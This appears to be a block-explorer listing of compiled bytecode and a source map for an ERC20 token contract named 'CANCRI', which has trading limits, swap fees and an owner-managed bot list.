160a01b0381168114611551575f80fd5b50565b803561155f8161153d565b919050565b5f8060408385031215611575575f80fd5b82356115808161153d565b946020939093013593505050565b5f805f606084860312156115a0575f80fd5b83356115ab8161153d565b925060208401356115bb8161153d565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156115f1575f80fd5b823567ffffffffffffffff80821115611608575f80fd5b818501915085601f83011261161b575f80fd5b81358181111561162d5761162d6115cc565b8060051b604051601f19603f83011681018181108582111715611652576116526115cc565b60405291825284820192508381018501918883111561166f575f80fd5b938501935b828510156116945761168585611554565b84529385019392850192611674565b98975050505050505050565b5f602082840312156116b0575f80fd5b81356111f18161153d565b5f80604083850312156116cc575f80fd5b82356116d78161153d565b915060208301356116e78161153d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174057815f1904821115611726576117266116f2565b8085161561173357918102915b93841c939080029061170b565b509250929050565b5f82611756575060016103b9565b8161176257505f6103b9565b816001811461177857600281146117825761179e565b60019150506103b9565b60ff841115611793576117936116f2565b50506001821b6103b9565b5060208310610133831016604e8410600b84101617156117c1575081810a6103b9565b6117cb8383611706565b805f19048211156117de576117de6116f2565b029392505050565b5f6111f160ff841683611748565b80820281158282048414176103b9576103b96116f2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611865576118656116f2565b5060010190565b5f6020828403121561187c575f80fd5b81516111f18161153d565b5f805f60608486031215611899575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103b9576103b96116f2565b5f826118df57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103b9576103b96116f2565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119455784516001600160a01b031683529383019391830191600101611920565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa3e624172d1366e416261242cb1205ab55b63237291bf4aa152748aab74f7a264736f6c63430008150033

Deployed Bytecode

0x60806040526004361061011e575f3560e01c8063751039fc1161009d578063a9059cbb11610062578063a9059cbb1461030a578063bf474bed14610329578063c9567bf91461033e578063d34628cc14610346578063dd62ed3e14610365575f80fd5b8063751039fc146102a65780637d1db4a5146102ba5780638da5cb5b146102cf5780638f9a55c0146102f557806395d89b4114610129575f80fd5b8063313ce567116100e3578063313ce567146101eb57806331c2d847146102065780633bbac5791461022757806370a082311461025e578063715018a614610292575f80fd5b806306fdde0314610129578063095ea7b3146101665780630faee56f1461019557806318160ddd146101b857806323b872dd146101cc575f80fd5b3661012557005b5f80fd5b348015610134575f80fd5b50604080518082018252600681526543414e43524960d01b6020820152905161015d91906114f2565b60405180910390f35b348015610171575f80fd5b50610185610180366004611564565b6103a9565b604051901515815260200161015d565b3480156101a0575f80fd5b506101aa60125481565b60405190815260200161015d565b3480156101c3575f80fd5b506101aa6103bf565b3480156101d7575f80fd5b506101856101e636600461158e565b6103df565b3480156101f6575f80fd5b506040516009815260200161015d565b348015610211575f80fd5b506102256102203660046115e0565b610446565b005b348015610232575f80fd5b506101856102413660046116a0565b6001600160a01b03165f9081526004602052604090205460ff1690565b348015610269575f80fd5b506101aa6102783660046116a0565b6001600160a01b03165f9081526001602052604090205490565b34801561029d575f80fd5b506102256104e0565b3480156102b1575f80fd5b50610225610551565b3480156102c5575f80fd5b506101aa600f5481565b3480156102da575f80fd5b505f546040516001600160a01b03909116815260200161015d565b348015610300575f80fd5b506101aa60105481565b348015610315575f80fd5b50610185610324366004611564565b610602565b348015610334575f80fd5b506101aa60115481565b61022561060e565b348015610351575f80fd5b506102256103603660046115e0565b61093d565b348015610370575f80fd5b506101aa61037f3660046116bb565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f6103b53384846109cb565b5060015b92915050565b5f6103cc6009600a6117e6565b6103da90633b9aca006117f4565b905090565b5f6103eb848484610aee565b61043c843361043785604051806060016040528060288152602001611967602891396001600160a01b038a165f908152600260209081526040808320338452909152902054919061113b565b6109cb565b5060019392505050565b5f546001600160a01b031633146104785760405162461bcd60e51b815260040161046f9061180b565b60405180910390fd5b5f5b81518110156104dc575f60045f84848151811061049957610499611840565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806104d481611854565b91505061047a565b5050565b5f546001600160a01b031633146105095760405162461bcd60e51b815260040161046f9061180b565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461057a5760405162461bcd60e51b815260040161046f9061180b565b6105866009600a6117e6565b61059490633b9aca006117f4565b600f556105a36009600a6117e6565b6105b190633b9aca006117f4565b6010557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6105e16009600a6117e6565b6105ef90633b9aca006117f4565b60405190815260200160405180910390a1565b5f6103b5338484610aee565b5f546001600160a01b031633146106375760405162461bcd60e51b815260040161046f9061180b565b601554600160a01b900460ff16156106915760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e000000000000000000604482015260640161046f565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556106c79030905f196109cb565b60135f9054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610717573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073b919061186c565b6001600160a01b031663c9c653963060135f9054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561079a573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906107be919061186c565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303815f875af1158015610808573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061082c919061186c565b601580546001600160a01b039283166001600160a01b03199182161790915560148054909116331790556013541663f305d719343061087f816001600160a01b03165f9081526001602052604090205490565b5f806108925f546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af11580156108f8573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061091d9190611887565b50506015805462ff00ff60a01b19166201000160a01b1790555043600655565b5f546001600160a01b031633146109665760405162461bcd60e51b815260040161046f9061180b565b5f5b81518110156104dc57600160045f84848151811061098857610988611840565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff1916911515919091179055806109c381611854565b915050610968565b6001600160a01b038316610a2d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161046f565b6001600160a01b038216610a8e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161046f565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610b525760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161046f565b6001600160a01b038216610bb45760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161046f565b5f8111610c155760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b606482015260840161046f565b5f80546001600160a01b03858116911614801590610c4057505f546001600160a01b03848116911614155b8015610c6457506001600160a01b0384165f9081526003602052604090205460ff16155b15610ffe576001600160a01b0384165f9081526004602052604090205460ff16158015610ca957506001600160a01b0383165f9081526004602052604090205460ff16155b610cb1575f80fd5b610cdd6064610cd7600b54600e5411610ccc57600754610cd0565b6009545b8590611173565b906111f8565b6015549091506001600160a01b038581169116148015610d0b57506013546001600160a01b03848116911614155b8015610d2f57506001600160a01b0383165f9081526003602052604090205460ff16155b15610e3657600f54821115610d865760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e00000000000000604482015260640161046f565b60105482610da8856001600160a01b03165f9081526001602052604090205490565b610db291906118b2565b1115610e005760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046f565b436006546003610e1091906118b2565b1115610e2157823b15610e21575f80fd5b600e8054905f610e3083611854565b91905055505b6015546001600160a01b03848116911614610ec55760105482610e6d856001600160a01b03165f9081526001602052604090205490565b610e7791906118b2565b1115610ec55760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e000000000000604482015260640161046f565b6015546001600160a01b038481169116148015610eeb57506001600160a01b0384163014155b15610f60576064610efe6009600a6117e6565b610f0c90633b9aca006117f4565b610f1691906118c5565b6001600160a01b0384165f908152600160205260409020541015610f38575f80fd5b610f5d6064610cd7600c54600e5411610f5357600854610cd0565b600a548590611173565b90505b305f90815260016020526040902054601554600160a81b900460ff16158015610f9657506015546001600160a01b038581169116145b8015610fab5750601554600160b01b900460ff165b8015610fb8575060115481115b8015610fc75750600d54600e54115b15610ffc57610fea84610fe585610fe085601254611239565b611239565b61124d565b478015610ffa57610ffa476113f0565b505b505b801561107657305f9081526001602052604090205461101d9082611427565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9061106d9085815260200190565b60405180910390a35b6001600160a01b0384165f908152600160205260409020546110989083611485565b6001600160a01b0385165f908152600160205260409020556110db6110bd8383611485565b6001600160a01b0385165f9081526001602052604090205490611427565b6001600160a01b038085165f8181526001602052604090209290925585167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6111248585611485565b60405190815260200160405180910390a350505050565b5f818484111561115e5760405162461bcd60e51b815260040161046f91906114f2565b505f61116a84866118e4565b95945050505050565b5f825f0361118257505f6103b9565b5f61118d83856117f4565b90508261119a85836118c5565b146111f15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b606482015260840161046f565b9392505050565b5f6111f183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506114c6565b5f81831161124757826111f1565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061129357611293611840565b6001600160a01b03928316602091820292909201810191909152601354604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa1580156112ea573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061130e919061186c565b8160018151811061132157611321611840565b6001600160a01b039283166020918202929092010152601454601380546001600160a01b0319169190921690811790915561135f9084905f196109cb565b601380546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915560405163791ac94760e01b815263791ac947906113b19085905f908690309042906004016118f7565b5f604051808303815f87803b1580156113c8575f80fd5b505af11580156113da573d5f803e3d5ffd5b50506015805460ff60a81b191690555050505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f193505050501580156104dc573d5f803e3d5ffd5b5f8061143383856118b2565b9050838110156111f15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015260640161046f565b5f6111f183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061113b565b5f81836114e65760405162461bcd60e51b815260040161046f91906114f2565b505f61116a84866118c5565b5f6020808352835180828501525f5b8181101561151d57858101830151858201604001528201611501565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b0381168114611551575f80fd5b50565b803561155f8161153d565b919050565b5f8060408385031215611575575f80fd5b82356115808161153d565b946020939093013593505050565b5f805f606084860312156115a0575f80fd5b83356115ab8161153d565b925060208401356115bb8161153d565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f60208083850312156115f1575f80fd5b823567ffffffffffffffff80821115611608575f80fd5b818501915085601f83011261161b575f80fd5b81358181111561162d5761162d6115cc565b8060051b604051601f19603f83011681018181108582111715611652576116526115cc565b60405291825284820192508381018501918883111561166f575f80fd5b938501935b828510156116945761168585611554565b84529385019392850192611674565b98975050505050505050565b5f602082840312156116b0575f80fd5b81356111f18161153d565b5f80604083850312156116cc575f80fd5b82356116d78161153d565b915060208301356116e78161153d565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b8085111561174057815f1904821115611726576117266116f2565b8085161561173357918102915b93841c939080029061170b565b509250929050565b5f82611756575060016103b9565b8161176257505f6103b9565b816001811461177857600281146117825761179e565b60019150506103b9565b60ff841115611793576117936116f2565b50506001821b6103b9565b5060208310610133831016604e8410600b84101617156117c1575081810a6103b9565b6117cb8383611706565b805f19048211156117de576117de6116f2565b029392505050565b5f6111f160ff841683611748565b80820281158282048414176103b9576103b96116f2565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f60018201611865576118656116f2565b5060010190565b5f6020828403121561187c575f80fd5b81516111f18161153d565b5f805f60608486031215611899575f80fd5b8351925060208401519150604084015190509250925092565b808201808211156103b9576103b96116f2565b5f826118df57634e487b7160e01b5f52601260045260245ffd5b500490565b818103818111156103b9576103b96116f2565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156119455784516001600160a01b031683529383019391830191600101611920565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220fa3e624172d1366e416261242cb1205ab55b63237291bf4aa152748aab74f7a264736f6c63430008150033

Deployed Bytecode Sourcemap

3895:8214:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5770:83;;;;;;;;;;-1:-1:-1;5840:5:0;;;;;;;;;;;-1:-1:-1;;;5840:5:0;;;;5770:83;;;;5840:5;5770:83;:::i;:::-;;;;;;;;6603:161;;;;;;;;;;-1:-1:-1;6603:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6603:161:0;1162:187:1;5008:52:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;5008:52:0;1354:177:1;6047:95:0;;;;;;;;;;;;;:::i;6772:313::-;;;;;;;;;;-1:-1:-1;6772:313:0;;;;;:::i;:::-;;:::i;5956:83::-;;;;;;;;;;-1:-1:-1;5956:83:0;;4634:1;2139:36:1;;2127:2;2112:18;5956:83:0;1997:184:1;11148:162:0;;;;;;;;;;-1:-1:-1;11148:162:0;;;;;:::i;:::-;;:::i;:::-;;11318:83;;;;;;;;;;-1:-1:-1;11318:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;11386:7:0;11365:4;11386:7;;;:4;:7;;;;;;;;;11318:83;6150:119;;;;;;;;;;-1:-1:-1;6150:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6243:18:0;6216:7;6243:18;;;:9;:18;;;;;;;6150:119;2976:148;;;;;;;;;;;;;:::i;10709:159::-;;;;;;;;;;;;;:::i;4820:54::-;;;;;;;;;;;;;;;;2762:79;;;;;;;;;;-1:-1:-1;2800:7:0;2827:6;2762:79;;-1:-1:-1;;;;;2827:6:0;;;3842:51:1;;3830:2;3815:18;2762:79:0;3696:203:1;4881:56:0;;;;;;;;;;;;;;;;6277:167;;;;;;;;;;-1:-1:-1;6277:167:0;;;;;:::i;:::-;;:::i;4944:57::-;;;;;;;;;;;;;;;;11409:658;;;:::i;10976:164::-;;;;;;;;;;-1:-1:-1;10976:164:0;;;;;:::i;:::-;;:::i;6452:143::-;;;;;;;;;;-1:-1:-1;6452:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6560:18:0;;;6533:7;6560:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6452:143;6603:161;6678:4;6695:39;596:10;6718:7;6727:6;6695:8;:39::i;:::-;-1:-1:-1;6752:4:0;6603:161;;;;;:::o;6047:95::-;6100:7;4690:13;4634:1;4690:2;:13;:::i;:::-;4677:26;;:10;:26;:::i;:::-;6120:14;;6047:95;:::o;6772:313::-;6870:4;6887:36;6897:6;6905:9;6916:6;6887:9;:36::i;:::-;6934:121;6943:6;596:10;6965:89;7003:6;6965:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6965:19:0;;;;;;:11;:19;;;;;;;;596:10;6965:33;;;;;;;;;;:37;:89::i;:::-;6934:8;:121::i;:::-;-1:-1:-1;7073:4:0;6772:313;;;;;:::o;11148:162::-;2889:6;;-1:-1:-1;;;;;2889:6:0;596:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;;;;;;;;;11221:6:::1;11216:87;11237:6;:13;11233:1;:17;11216:87;;;11288:5;11270:4;:15;11275:6;11282:1;11275:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11270:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11270:15:0;:23;;-1:-1:-1;;11270:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11252:3;::::1;::::0;::::1;:::i;:::-;;;;11216:87;;;;11148:162:::0;:::o;2976:148::-;2889:6;;-1:-1:-1;;;;;2889:6:0;596:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;3083:1:::1;3067:6:::0;;3046:40:::1;::::0;-1:-1:-1;;;;;3067:6:0;;::::1;::::0;3046:40:::1;::::0;3083:1;;3046:40:::1;3114:1;3097:19:::0;;-1:-1:-1;;;;;;3097:19:0::1;::::0;;2976:148::o;10709:159::-;2889:6;;-1:-1:-1;;;;;2889:6:0;596:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;4690:13:::1;4634:1;4690:2;:13;:::i;:::-;4677:26;::::0;:10:::1;:26;:::i;:::-;10762:12;:22:::0;4690:13:::1;4634:1;4690:2;:13;:::i;:::-;4677:26;::::0;:10:::1;:26;:::i;:::-;10795:14;:22:::0;10833:27:::1;4690:13;4634:1;4690:2;:13;:::i;:::-;4677:26;::::0;:10:::1;:26;:::i;:::-;10833:27;::::0;1500:25:1;;;1488:2;1473:18;10833:27:0::1;;;;;;;10709:159::o:0;6277:167::-;6355:4;6372:42;596:10;6396:9;6407:6;6372:9;:42::i;11409:658::-;2889:6;;-1:-1:-1;;;;;2889:6:0;596:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;11481:11:::1;::::0;-1:-1:-1;;;11481:11:0;::::1;;;11480:12;11472:47;;;::::0;-1:-1:-1;;;11472:47:0;;6820:2:1;11472:47:0::1;::::0;::::1;6802:21:1::0;6859:2;6839:18;;;6832:30;6898:25;6878:18;;;6871:53;6941:18;;11472:47:0::1;6618:347:1::0;11472:47:0::1;11530:15;:80:::0;;-1:-1:-1;;;;;;11530:80:0::1;11567:42;11530:80:::0;;::::1;::::0;;;11621:65:::1;::::0;11638:4:::1;::::0;-1:-1:-1;;11621:8:0::1;:65::i;:::-;11731:15;;;;;;;;;-1:-1:-1::0;;;;;11731:15:0::1;-1:-1:-1::0;;;;;11731:23:0::1;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;11713:55:0::1;;11777:4;11784:15;;;;;;;;;-1:-1:-1::0;;;;;11784:15:0::1;-1:-1:-1::0;;;;;11784:20:0::1;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11713:94;::::0;-1:-1:-1;;;;;;11713:94:0::1;::::0;;;;;;-1:-1:-1;;;;;7456:15:1;;;11713:94:0::1;::::0;::::1;7438:34:1::0;7508:15;;7488:18;;;7481:43;7373:18;;11713:94:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;11697:13;:110:::0;;-1:-1:-1;;;;;11697:110:0;;::::1;-1:-1:-1::0;;;;;;11697:110:0;;::::1;;::::0;;;11808:16:::1;:29:::0;;;;::::1;11827:10;11808:29;::::0;;11848:15:::1;::::0;::::1;:31;11887:9;11906:4;11912:24;11906:4:::0;-1:-1:-1;;;;;6243:18:0;6216:7;6243:18;;;:9;:18;;;;;;;6150:119;11912:24:::1;11937:1;11939::::0;11941:7:::1;2800::::0;2827:6;-1:-1:-1;;;;;2827:6:0;;2762:79;11941:7:::1;11848:117;::::0;::::1;::::0;;;-1:-1:-1;;;;;;11848:117:0;;;-1:-1:-1;;;;;7894:15:1;;;11848:117:0::1;::::0;::::1;7876:34:1::0;7926:18;;;7919:34;;;;7969:18;;;7962:34;;;;8012:18;;;8005:34;8076:15;;;8055:19;;;8048:44;11949:15:0::1;8108:19:1::0;;;8101:35;7810:19;;11848:117:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;;11976:11:0::1;:18:::0;;-1:-1:-1;;;;12005:18:0;-1:-1:-1;;;12005:18:0;;;-1:-1:-1;12047:12:0::1;12034:10;:25:::0;11409:658::o;10976:164::-;2889:6;;-1:-1:-1;;;;;2889:6:0;596:10;2889:22;2881:67;;;;-1:-1:-1;;;2881:67:0;;;;;;;:::i;:::-;11050:6:::1;11045:88;11066:5;:12;11062:1;:16;11045:88;;;11117:4;11100;:14;11105:5;11111:1;11105:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11100:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11100:14:0;:21;;-1:-1:-1;;11100:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11080:3;::::1;::::0;::::1;:::i;:::-;;;;11045:88;;7093:335:::0;-1:-1:-1;;;;;7186:19:0;;7178:68;;;;-1:-1:-1;;;7178:68:0;;8660:2:1;7178:68:0;;;8642:21:1;8699:2;8679:18;;;8672:30;8738:34;8718:18;;;8711:62;-1:-1:-1;;;8789:18:1;;;8782:34;8833:19;;7178:68:0;8458:400:1;7178:68:0;-1:-1:-1;;;;;7265:21:0;;7257:68;;;;-1:-1:-1;;;7257:68:0;;9065:2:1;7257:68:0;;;9047:21:1;9104:2;9084:18;;;9077:30;9143:34;9123:18;;;9116:62;-1:-1:-1;;;9194:18:1;;;9187:32;9236:19;;7257:68:0;8863:398:1;7257:68:0;-1:-1:-1;;;;;7336:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7388:32;;1500:25:1;;;7388:32:0;;1473:18:1;7388:32:0;;;;;;;7093:335;;;:::o;7436:2291::-;-1:-1:-1;;;;;7524:18:0;;7516:68;;;;-1:-1:-1;;;7516:68:0;;9468:2:1;7516:68:0;;;9450:21:1;9507:2;9487:18;;;9480:30;9546:34;9526:18;;;9519:62;-1:-1:-1;;;9597:18:1;;;9590:35;9642:19;;7516:68:0;9266:401:1;7516:68:0;-1:-1:-1;;;;;7603:16:0;;7595:64;;;;-1:-1:-1;;;7595:64:0;;9874:2:1;7595:64:0;;;9856:21:1;9913:2;9893:18;;;9886:30;9952:34;9932:18;;;9925:62;-1:-1:-1;;;10003:18:1;;;9996:33;10046:19;;7595:64:0;9672:399:1;7595:64:0;7687:1;7678:6;:10;7670:64;;;;-1:-1:-1;;;7670:64:0;;10278:2:1;7670:64:0;;;10260:21:1;10317:2;10297:18;;;10290:30;10356:34;10336:18;;;10329:62;-1:-1:-1;;;10407:18:1;;;10400:39;10456:19;;7670:64:0;10076:405:1;7670:64:0;7745:17;2827:6;;-1:-1:-1;;;;;7779:15:0;;;2827:6;;7779:15;;;;:32;;-1:-1:-1;2800:7:0;2827:6;-1:-1:-1;;;;;7798:13:0;;;2827:6;;7798:13;;7779:32;:62;;;;-1:-1:-1;;;;;;7817:24:0;;;;;;:18;:24;;;;;;;;7815:26;7779:62;7775:1596;;;-1:-1:-1;;;;;7867:10:0;;;;;;:4;:10;;;;;;;;7866:11;:24;;;;-1:-1:-1;;;;;;7882:8:0;;;;;;:4;:8;;;;;;;;7881:9;7866:24;7858:33;;;;;;7918:76;7990:3;7918:67;7940:15;;7930:9;;:25;7929:55;;7970:14;;7929:55;;;7957:12;;7929:55;7918:6;;:10;:67::i;:::-;:71;;:76::i;:::-;8023:13;;7906:88;;-1:-1:-1;;;;;;8015:21:0;;;8023:13;;8015:21;:55;;;;-1:-1:-1;8054:15:0;;-1:-1:-1;;;;;8040:30:0;;;8054:15;;8040:30;;8015:55;:83;;;;-1:-1:-1;;;;;;8076:22:0;;;;;;:18;:22;;;;;;;;8074:24;8015:83;8011:436;;;8138:12;;8128:6;:22;;8120:60;;;;-1:-1:-1;;;8120:60:0;;10688:2:1;8120:60:0;;;10670:21:1;10727:2;10707:18;;;10700:30;10766:27;10746:18;;;10739:55;10811:18;;8120:60:0;10486:349:1;8120:60:0;8233:14;;8223:6;8207:13;8217:2;-1:-1:-1;;;;;6243:18:0;6216:7;6243:18;;;:9;:18;;;;;;;6150:119;8207:13;:22;;;;:::i;:::-;:40;;8199:79;;;;-1:-1:-1;;;8199:79:0;;11172:2:1;8199:79:0;;;11154:21:1;11211:2;11191:18;;;11184:30;11250:28;11230:18;;;11223:56;11296:18;;8199:79:0;10970:350:1;8199:79:0;8321:12;8303:10;;8316:1;8303:14;;;;:::i;:::-;:30;8299:103;;;9974:20;;10022:8;8358:24;;;;;;8420:9;:11;;;:9;:11;;;:::i;:::-;;;;;;8011:436;8473:13;;-1:-1:-1;;;;;8467:19:0;;;8473:13;;8467:19;8463:139;;8541:14;;8531:6;8515:13;8525:2;-1:-1:-1;;;;;6243:18:0;6216:7;6243:18;;;:9;:18;;;;;;;6150:119;8515:13;:22;;;;:::i;:::-;:40;;8507:79;;;;-1:-1:-1;;;8507:79:0;;11172:2:1;8507:79:0;;;11154:21:1;11211:2;11191:18;;;11184:30;11250:28;11230:18;;;11223:56;11296:18;;8507:79:0;10970:350:1;8507:79:0;8627:13;;-1:-1:-1;;;;;8621:19:0;;;8627:13;;8621:19;:43;;;;-1:-1:-1;;;;;;8644:20:0;;8659:4;8644:20;;8621:43;8618:231;;;8719:3;4690:13;4634:1;4690:2;:13;:::i;:::-;4677:26;;:10;:26;:::i;:::-;8709:13;;;;:::i;:::-;-1:-1:-1;;;;;6243:18:0;;6216:7;6243:18;;;:9;:18;;;;;;8692:30;;8684:39;;;;;;8754:79;8829:3;8754:70;8776:16;;8766:9;;:26;8765:58;;8808:15;;8765:58;;;8794:13;;8754:6;;:10;:70::i;:79::-;8742:91;;8618:231;8914:4;8865:28;6243:18;;;:9;:18;;;;;;8940:6;;-1:-1:-1;;;8940:6:0;;;;8939:7;:32;;;;-1:-1:-1;8958:13:0;;-1:-1:-1;;;;;8950:21:0;;;8958:13;;8950:21;8939:32;:47;;;;-1:-1:-1;8975:11:0;;-1:-1:-1;;;8975:11:0;;;;8939:47;:89;;;;;9011:17;;8990:20;:38;8939:89;:121;;;;;9042:18;;9032:9;;:28;8939:121;8935:425;;;9081:71;9098:2;9102:49;9106:6;9113:37;9117:20;9138:11;;9113:3;:37::i;:::-;9102:3;:49::i;:::-;9081:16;:71::i;:::-;9200:21;9243:22;;9240:105;;9290:35;9303:21;9290:12;:35::i;:::-;9062:298;8935:425;7843:1528;7775:1596;9386:11;;9383:161;;9454:4;9436:24;;;;:9;:24;;;;;;:39;;9465:9;9436:28;:39::i;:::-;9429:4;9411:24;;;;:9;:24;;;;;;;:64;;;;9493:39;;-1:-1:-1;;;;;9493:39:0;;;;;;;9522:9;1500:25:1;;1488:2;1473:18;;1354:177;9493:39:0;;;;;;;;9383:161;-1:-1:-1;;;;;9570:15:0;;;;;;:9;:15;;;;;;:27;;9590:6;9570:19;:27::i;:::-;-1:-1:-1;;;;;9554:15:0;;;;;;:9;:15;;;;;:43;9622:40;9640:21;:6;9651:9;9640:10;:21::i;:::-;-1:-1:-1;;;;;9622:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9608:13:0;;;;;;;:9;:13;;;;;:54;;;;9678:41;;;9697:21;:6;9708:9;9697:10;:21::i;:::-;9678:41;;1500:25:1;;;1488:2;1473:18;9678:41:0;;;;;;;7505:2222;7436:2291;;;:::o;1654:190::-;1740:7;1776:12;1768:6;;;;1760:29;;;;-1:-1:-1;;;1760:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1800:9:0;1812:5;1816:1;1812;:5;:::i;:::-;1800:17;1654:190;-1:-1:-1;;;;;1654:190:0:o;1852:246::-;1910:7;1934:1;1939;1934:6;1930:47;;-1:-1:-1;1964:1:0;1957:8;;1930:47;1987:9;1999:5;2003:1;1999;:5;:::i;:::-;1987:17;-1:-1:-1;2032:1:0;2023:5;2027:1;1987:17;2023:5;:::i;:::-;:10;2015:56;;;;-1:-1:-1;;;2015:56:0;;11882:2:1;2015:56:0;;;11864:21:1;11921:2;11901:18;;;11894:30;11960:34;11940:18;;;11933:62;-1:-1:-1;;;12011:18:1;;;12004:31;12052:19;;2015:56:0;11680:397:1;2015:56:0;